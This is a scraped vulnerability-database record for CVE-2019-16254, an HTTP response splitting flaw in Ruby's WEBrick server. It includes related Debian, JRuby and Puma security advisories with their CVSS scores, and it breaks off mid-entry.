Ruby through 2.4.7, 2.5.x through 2.5.6, and 2.6.x through 2.6.4 allows HTTP Response Splitting. If a program using WEBrick inserts untrusted input into the response header, an attacker can exploit it to insert a newline character to split a header, and inject malicious content to deceive clients. NOTE: this issue exists because of an incomplete fix for CVE-2017-17742, which addressed the CRLF vector, but did not address an isolated CR or an isolated LF.
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An attacker can inject a crafted key and value into an HTTP response for the HTTP server of WEBrick.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 5.3, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 1.4}, "published": "2018-04-03T22:29:00", "type": "debiancve", "title": "CVE-2017-17742", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-17742"], "modified": "2018-04-03T22:29:00", "id": "DEBIANCVE:CVE-2017-17742", "href": "https://security-tracker.debian.org/tracker/CVE-2017-17742", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}}], "osv": [{"lastseen": "2023-06-20T05:55:16", "description": "Ruby through 2.4.7, 2.5.x through 2.5.6, and 2.6.x through 2.6.4 allows HTTP Response Splitting. If a program using WEBrick inserts untrusted input into the response header, an attacker can exploit it to insert a newline character to split a header, and inject malicious content to deceive clients. NOTE: this issue exists because of an incomplete fix for CVE-2017-17742, which addressed the CRLF vector, but did not address an isolated CR or an isolated LF.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 5.3, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 1.4}, "published": "2019-11-26T18:15:00", "type": "osv", "title": "CVE-2019-16254", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-17742", "CVE-2019-16254"], "modified": "2023-06-20T05:55:11", "id": "OSV:CVE-2019-16254", "href": "https://osv.dev/vulnerability/CVE-2019-16254", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}}, {"lastseen": "2023-05-16T16:30:52", "description": "In Puma (RubyGem) before 4.3.2 and 3.12.3, if an application using Puma allows untrusted input in a response header, an attacker can use newline characters (i.e. `CR`, `LF` or`/r`, `/n`) to end the header and inject malicious content, such as additional headers or an entirely new response body. This vulnerability is known as HTTP Response Splitting.\n\nWhile not an attack in itself, response splitting is a vector for several other attacks, such as cross-site scripting (XSS).\n\nThis is related to CVE-2019-16254, which fixed this vulnerability for the WEBrick Ruby web server.\n\nThis has been fixed in versions 4.3.2 and 3.12.3 by checking all headers for line endings and rejecting headers with those characters. ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2020-02-28T16:53:55", "type": "osv", "title": "HTTP Response Splitting in Puma", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-16254", "CVE-2020-5247"], "modified": "2023-05-16T16:30:49", "id": "OSV:GHSA-84J7-475P-HP8V", "href": "https://osv.dev/vulnerability/GHSA-84j7-475p-hp8v", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}}, {"lastseen": "2022-08-05T05:18:39", "description": "\nSeveral flaws have been found in ruby2.1, an interpreter of an\nobject-oriented scripting language.\n\n\n* [CVE-2019-15845](https://security-tracker.debian.org/tracker/CVE-2019-15845)\nPath matching might pass in File.fnmatch and File.fnmatch? due\n to a NUL character injection.\n* [CVE-2019-16201](https://security-tracker.debian.org/tracker/CVE-2019-16201)\nA loop caused by a wrong regular expression could lead to a denial\n of service of a WEBrick service.\n* [CVE-2019-16254](https://security-tracker.debian.org/tracker/CVE-2019-16254)\nThis is the same issue as [CVE-2017-17742](https://security-tracker.debian.org/tracker/CVE-2017-17742), whose fix was not complete.\n* [CVE-2019-16255](https://security-tracker.debian.org/tracker/CVE-2019-16255)\nGiving untrusted data to the first argument of Shell#[] and\n Shell#test might lead to a code injection vulnerability.\n\n\nFor Debian 8 Jessie, these problems have been fixed in version\n2.1.5-2+deb8u8.\n\n\nWe recommend that you upgrade your ruby2.1 packages.\n\n\nFurther information about Debian LTS security advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: <https://wiki.debian.org/LTS>\n\n\n", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.1, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2019-11-25T00:00:00", "type": "osv", "title": "ruby2.1 - security update", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "COMPLETE", "integrityImpact": "NONE", "baseScore": 7.8, "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-15845", "CVE-2017-17742", "CVE-2019-16255", "CVE-2019-16254", "CVE-2019-16201"], "modified": "2022-08-05T05:18:37", "id": "OSV:DLA-2007-1", "href": "https://osv.dev/vulnerability/DLA-2007-1", "cvss": {"score": 7.8, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:C"}}, {"lastseen": "2022-08-10T07:18:26", "description": "\nSeveral vulnerabilities have been discovered in the interpreter for the\nRuby language, which could result in unauthorized access by bypassing\nintended path matchings, denial of service, or the execution of\narbitrary code.\n\n\nFor the oldstable distribution (stretch), these problems have been fixed\nin version 2.3.3-1+deb9u7.\n\n\nWe recommend that you upgrade your ruby2.3 packages.\n\n\nFor the detailed security status of ruby2.3 please refer to its security\ntracker page at:\n<https://security-tracker.debian.org/tracker/ruby2.3>\n\n\n", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.1, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2019-12-17T00:00:00", "type": "osv", "title": "ruby2.3 - security update", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "COMPLETE", "integrityImpact": "NONE", "baseScore": 7.8, "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-15845", "CVE-2019-16255", "CVE-2019-16254", "CVE-2019-16201"], "modified": "2022-08-10T07:18:19", "id": "OSV:DSA-4587-1", "href": "https://osv.dev/vulnerability/DSA-4587-1", "cvss": {"score": 7.8, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:C"}}, {"lastseen": "2022-08-10T07:18:31", "description": "\nSeveral vulnerabilities have been discovered in the interpreter for the\nRuby language, which could result in unauthorized access by bypassing\nintended path matchings, denial of service, or the execution of\narbitrary code.\n\n\nFor the stable distribution (buster), these problems have been fixed in\nversion 2.5.5-3+deb10u1.\n\n\nWe recommend that you upgrade your ruby2.5 packages.\n\n\nFor the detailed security status of ruby2.5 please refer to its security\ntracker page at:\n<https://security-tracker.debian.org/tracker/ruby2.5>\n\n\n", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.1, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2019-12-17T00:00:00", "type": "osv", "title": "ruby2.5 - security update", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "COMPLETE", "integrityImpact": "NONE", "baseScore": 7.8, "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-15845", "CVE-2019-16255", "CVE-2019-16254", "CVE-2019-16201"], "modified": "2022-08-10T07:18:29", "id": "OSV:DSA-4586-1", "href": "https://osv.dev/vulnerability/DSA-4586-1", "cvss": {"score": 7.8, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:C"}}, {"lastseen": "2023-04-30T21:18:07", "description": "\nSeveral vulnerabilities were fixed in JRuby, a Java implementation of\nthe Ruby programming language.\n\n\n* [CVE-2017-17742](https://security-tracker.debian.org/tracker/CVE-2017-17742)\n[CVE-2019-16254](https://security-tracker.debian.org/tracker/CVE-2019-16254)\nHTTP Response Splitting attacks in the HTTP server of WEBrick.\n* [CVE-2019-16201](https://security-tracker.debian.org/tracker/CVE-2019-16201)\nRegular Expression Denial of Service vulnerability of WEBrick's Digest access authentication.\n* [CVE-2019-16255](https://security-tracker.debian.org/tracker/CVE-2019-16255)\nCode injection vulnerability.\n* [CVE-2020-25613](https://security-tracker.debian.org/tracker/CVE-2020-25613)\nHTTP Request Smuggling attack in WEBrick.\n* [CVE-2021-31810](https://security-tracker.debian.org/tracker/CVE-2021-31810)\nTrusting FTP PASV responses vulnerability in Net::FTP.\n* [CVE-2021-32066](https://security-tracker.debian.org/tracker/CVE-2021-32066)\nNet::IMAP did not raise an exception when StartTLS fails with an an unknown response.\n* [CVE-2023-28755](https://security-tracker.debian.org/tracker/CVE-2023-28755)\nQuadratic backtracking on invalid URI.\n* [CVE-2023-28756](https://security-tracker.debian.org/tracker/CVE-2023-28756)\nThe Time parser mishandled invalid strings that have specific characters.\n\n\nFor Debian 10 buster, these problems have been fixed in version\n9.1.17.0-3+deb10u1.\n\n\nWe recommend that you upgrade your jruby packages.\n\n\nFor the detailed security status of jruby please refer to\nits security tracker page at:\n<https://security-tracker.debian.org/tracker/jruby>\n\n\nFurther information about Debian LTS security advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: <https://wiki.debian.org/LTS>\n\n\n", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.1, "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2023-04-30T00:00:00", "type": "osv", "title": "jruby - security update", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "COMPLETE", "integrityImpact": "NONE", "baseScore": 7.8, "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-17742", "CVE-2019-16201", "CVE-2019-16254", "CVE-2019-16255", "CVE-2020-25613", "CVE-2021-31810", "CVE-2021-32066", "CVE-2023-28755", "CVE-2023-28756"], "modified": "2023-04-30T21:17:46", "id": "OSV:DLA-3408-1", "href": "https://osv.dev/vulnerability/DLA-3408-1", "cvss": {"score": 7.8, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:C"}}, {"lastseen": "2023-06-20T05:52:15", "description": "Ruby before 2.2.10, 2.3.x before 2.3.7, 2.4.x before 2.4.4, 2.5.x before 2.5.1, and 2.6.0-preview1 allows an HTTP Response Splitting attack. An attacker can inject a crafted key and value into an HTTP response for the HTTP server of WEBrick.", "cvss3": {}, "published": "2018-04-03T22:29:00", "type": "osv", "title": "CVE-2017-17742", "bulletinFamily": "software", "cvss2": {}, "cvelist": ["CVE-2017-17742"], "modified": "2023-06-20T05:52:12", "id": "OSV:CVE-2017-17742", "href": "https://osv.dev/vulnerability/CVE-2017-17742", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2022-08-05T05:18:53", "description": "\nBrief introduction\n\n\n* [CVE-2017-17742](https://security-tracker.debian.org/tracker/CVE-2017-17742)\nResponse Splitting attack in the HTTP server of WEBrick.\n* [CVE-2019-8320](https://security-tracker.debian.org/tracker/CVE-2019-8320)\nDelete directory using symlink when decompressing tar.\n* [CVE-2019-8321](https://security-tracker.debian.org/tracker/CVE-2019-8321)\nEscape sequence injection vulnerability in verbose.\n* [CVE-2019-8322](https://security-tracker.debian.org/tracker/CVE-2019-8322)\nEscape sequence injection vulnerability in gem owner.\n* [CVE-2019-8323](https://security-tracker.debian.org/tracker/CVE-2019-8323)\nEscape sequence injection vulnerability in API response handling.\n* [CVE-2019-8324](https://security-tracker.debian.org/tracker/CVE-2019-8324)\nInstalling a malicious gem may lead to arbitrary code execution.\n* [CVE-2019-8325](https://security-tracker.debian.org/tracker/CVE-2019-8325)\nEscape sequence injection vulnerability in errors.\n* [CVE-2019-16201](https://security-tracker.debian.org/tracker/CVE-2019-16201)\nRegular Expression Denial of Service vulnerability of WEBrick's Digest access authentication.\n* [CVE-2019-16254](https://security-tracker.debian.org/tracker/CVE-2019-16254)\nHTTP Response Splitting attack in the HTTP server of WEBrick.\n* [CVE-2019-16255](https://security-tracker.debian.org/tracker/CVE-2019-16255)\nCode injection vulnerability.\n\n\nFor Debian 9 stretch, these problems have been fixed in version\n1.7.26-1+deb9u2.\n\n\nWe recommend that you upgrade your jruby packages.\n\n\nFor the detailed security status of jruby please refer to\nits security tracker page at:\n<https://security-tracker.debian.org/tracker/jruby>\n\n\nFurther information about Debian LTS security advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: <https://wiki.debian.org/LTS>\n\n\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-08-16T00:00:00", "type": "osv", "title": "jruby - security update", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 8.8, "vectorString": "AV:N/AC:M/Au:N/C:N/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 9.2, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-17742", "CVE-2019-8320", "CVE-2019-8325", "CVE-2019-8321", "CVE-2019-8323", "CVE-2019-16255", "CVE-2019-16254", "CVE-2019-16201", "CVE-2019-8322", "CVE-2019-8324"], "modified": "2022-08-05T05:18:51", "id": "OSV:DLA-2330-1", "href": "https://osv.dev/vulnerability/DLA-2330-1", "cvss": {"score": 8.8, "vector": "AV:N/AC:M/Au:N/C:N/I:C/A:C"}}, {"lastseen": "2022-07-21T08:19:30", "description": "\nMultiple vulnerabilities were found in the interpreter for the Ruby\nlanguage. The Common Vulnerabilities and Exposures project identifies the\nfollowing issues:\n\n\n* [CVE-2017-17742](https://security-tracker.debian.org/tracker/CVE-2017-17742)\nAaron Patterson reported that WEBrick bundled with Ruby was vulnerable to\n an HTTP response splitting vulnerability. It was possible for an attacker\n to inject fake HTTP responses if a script accepted an external input and\n output it without modifications.\n* [CVE-2018-6914](https://security-tracker.debian.org/tracker/CVE-2018-6914)\nooooooo\\_q discovered a directory traversal vulnerability in the\n Dir.mktmpdir method in the tmpdir library. It made it possible for\n attackers to create arbitrary directories or files via a .. (dot dot) in\n the prefix argument.\n* [CVE-2018-8777](https://security-tracker.debian.org/tracker/CVE-2018-8777)\nEric Wong reported an out-of-memory DoS vulnerability related to a large\n request in WEBrick bundled with Ruby.\n* [CVE-2018-8778](https://security-tracker.debian.org/tracker/CVE-2018-8778)\naerodudrizzt found a buffer under-read vulnerability in the Ruby\n String#unpack method. If a big number was passed with the specifier @,\n the number was treated as a negative value, and an out-of-buffer read\n occurred. Attackers could read data on heaps if an script accepts an\n external input as the argument of String#unpack.\n* [CVE-2018-8779](https://security-tracker.debian.org/tracker/CVE-2018-8779)\nooooooo\\_q reported that the UNIXServer.open and UNIXSocket.open\n methods of the socket library bundled with Ruby did not check for NUL\n bytes in the path argument. The lack of check made the methods\n vulnerable to unintentional socket creation and unintentional socket\n access.\n* [CVE-2018-8780](https://security-tracker.debian.org/tracker/CVE-2018-8780)\nooooooo\\_q discovered an unintentional directory traversal in\n some methods in Dir, by the lack of checking for NUL bytes in their\n parameter.\n\n\nFor Debian 7 Wheezy, these problems have been fixed in version\n1.8.7.358-7.1+deb7u6.\n\n\nWe recommend that you upgrade your ruby1.8 packages.\n\n\nFurther information about Debian LTS security advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: <https://wiki.debian.org/LTS>\n\n\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "HIGH", "baseScore": 9.1, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.2}, "published": "2018-04-23T00:00:00", "type": "osv", "title": "ruby1.8 - security update", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-8778", "CVE-2017-17742", "CVE-2018-8780", "CVE-2018-8777", "CVE-2018-8779", "CVE-2018-6914"], "modified": "2022-07-21T05:52:06", "id": "OSV:DLA-1359-1", "href": "https://osv.dev/vulnerability/DLA-1359-1", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-07-21T08:19:30", "description": "\nMultiple vulnerabilities were found in the interpreter for the Ruby\nlanguage. The Common Vulnerabilities and Exposures project identifies the\nfollowing issues:\n\n\n* [CVE-2017-17742](https://security-tracker.debian.org/tracker/CVE-2017-17742)\nAaron Patterson reported that WEBrick bundled with Ruby was vulnerable to\n an HTTP response splitting vulnerability. It was possible for an attacker\n to inject fake HTTP responses if a script accepted an external input and\n output it without modifications.\n* [CVE-2018-6914](https://security-tracker.debian.org/tracker/CVE-2018-6914)\nooooooo\\_q discovered a directory traversal vulnerability in the\n Dir.mktmpdir method in the tmpdir library. It made it possible for\n attackers to create arbitrary directories or files via a .. (dot dot) in\n the prefix argument.\n* [CVE-2018-8777](https://security-tracker.debian.org/tracker/CVE-2018-8777)\nEric Wong reported an out-of-memory DoS vulnerability related to a large\n request in WEBrick bundled with Ruby.\n* [CVE-2018-8778](https://security-tracker.debian.org/tracker/CVE-2018-8778)\naerodudrizzt found a buffer under-read vulnerability in the Ruby\n String#unpack method. If a big number was passed with the specifier @,\n the number was treated as a negative value, and an out-of-buffer read\n occurred. Attackers could read data on heaps if an script accepts an\n external input as the argument of String#unpack.\n* [CVE-2018-8779](https://security-tracker.debian.org/tracker/CVE-2018-8779)\nooooooo\\_q reported that the UNIXServer.open and UNIXSocket.open\n methods of the socket library bundled with Ruby did not check for NUL\n bytes in the path argument. The lack of check made the methods\n vulnerable to unintentional socket creation and unintentional socket\n access.\n* [CVE-2018-8780](https://security-tracker.debian.org/tracker/CVE-2018-8780)\nooooooo\\_q discovered an unintentional directory traversal in\n some methods in Dir, by the lack of checking for NUL bytes in their\n parameter.\n* [CVE-2018-1000075](https://security-tracker.debian.org/tracker/CVE-2018-1000075)\nA negative size vulnerability in ruby gem package tar header that could\n cause an infinite loop.\n* [CVE-2018-1000076](https://security-tracker.debian.org/tracker/CVE-2018-1000076)\nRuby gems package improperly verifies cryptographic signatures. A mis-signed\n gem could be installed if the tarball contains multiple gem signatures.\n* [CVE-2018-1000077](https://security-tracker.debian.org/tracker/CVE-2018-1000077)\nAn improper input validation vulnerability in ruby gems specification\n homepage attribute could allow malicious gem to set an invalid homepage\n URL.\n* [CVE-2018-1000078](https://security-tracker.debian.org/tracker/CVE-2018-1000078)\nCross Site Scripting (XSS) vulnerability in gem server display of homepage\n attribute\n\n\nFor Debian 7 Wheezy, these problems have been fixed in version\n1.9.3.194-8.1+deb7u8.\n\n\nWe recommend that you upgrade your ruby1.9.1 packages.\n\n\nFurther information about Debian LTS security advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: <https://wiki.debian.org/LTS>\n\n\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2018-04-23T00:00:00", "type": "osv", "title": "ruby1.9.1 - security update", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-8778", "CVE-2017-17742", "CVE-2018-8780", "CVE-2018-1000078", "CVE-2018-1000075", "CVE-2018-1000076", "CVE-2018-8777", "CVE-2018-8779", "CVE-2018-1000077", "CVE-2018-6914"], "modified": "2022-07-21T05:52:06", "id": "OSV:DLA-1358-1", "href": "https://osv.dev/vulnerability/DLA-1358-1", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-07-21T08:23:50", "description": "\nSeveral vulnerabilities have been discovered in the interpreter for the\nRuby language, which may result in incorrect processing of HTTP/FTP,\ndirectory traversal, command injection, unintended socket creation or\ninformation disclosure.\n\n\nThis update also fixes several issues in RubyGems which could allow an\nattacker to use specially crafted gem files to mount cross-site scripting\nattacks, cause denial of service through an infinite loop, write arbitrary\nfiles, or run malicious code.\n\n\nFor the stable distribution (stretch), these problems have been fixed in\nversion 2.3.3-1+deb9u3.\n\n\nWe recommend that you upgrade your ruby2.3 packages.\n\n\nFor the detailed security status of ruby2.3 please refer to\nits security tracker page at:\n[\\\nhttps://security-tracker.debian.org/tracker/ruby2.3](https://security-tracker.debian.org/tracker/ruby2.3)\n\n\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2018-07-31T00:00:00", "type": "osv", "title": "ruby2.3 - security update", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-17405", "CVE-2018-8778", "CVE-2017-17742", "CVE-2018-1000073", "CVE-2018-8780", "CVE-2018-1000078", "CVE-2018-1000075", "CVE-2018-1000076", "CVE-2017-17790", "CVE-2018-1000074", "CVE-2018-8777", "CVE-2018-8779", "CVE-2018-1000077", "CVE-2018-1000079", "CVE-2018-6914"], "modified": "2022-07-21T05:49:56", "id": "OSV:DSA-4259-1", "href": "https://osv.dev/vulnerability/DSA-4259-1", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-06-28T06:20:46", "description": "\nMultiple vulnerabilities were found in the interpreter for the Ruby\nlanguage. The Common Vulnerabilities and Exposures project identifies the\nfollowing issues:\n\n\n* [CVE-2015-9096](https://security-tracker.debian.org/tracker/CVE-2015-9096)\nSMTP command injection in Net::SMTP via CRLF sequences in a RCPT TO\n or MAIL FROM command.\n* [CVE-2016-2339](https://security-tracker.debian.org/tracker/CVE-2016-2339)\nExploitable heap overflow in Fiddle::Function.new.\n* [CVE-2016-7798](https://security-tracker.debian.org/tracker/CVE-2016-7798)\nIncorrect handling of initialization vector in the GCM mode in the\n OpenSSL extension.\n* [CVE-2017-0898](https://security-tracker.debian.org/tracker/CVE-2017-0898)\nBuffer underrun vulnerability in Kernel.sprintf.\n* [CVE-2017-0899](https://security-tracker.debian.org/tracker/CVE-2017-0899)\nANSI escape sequence 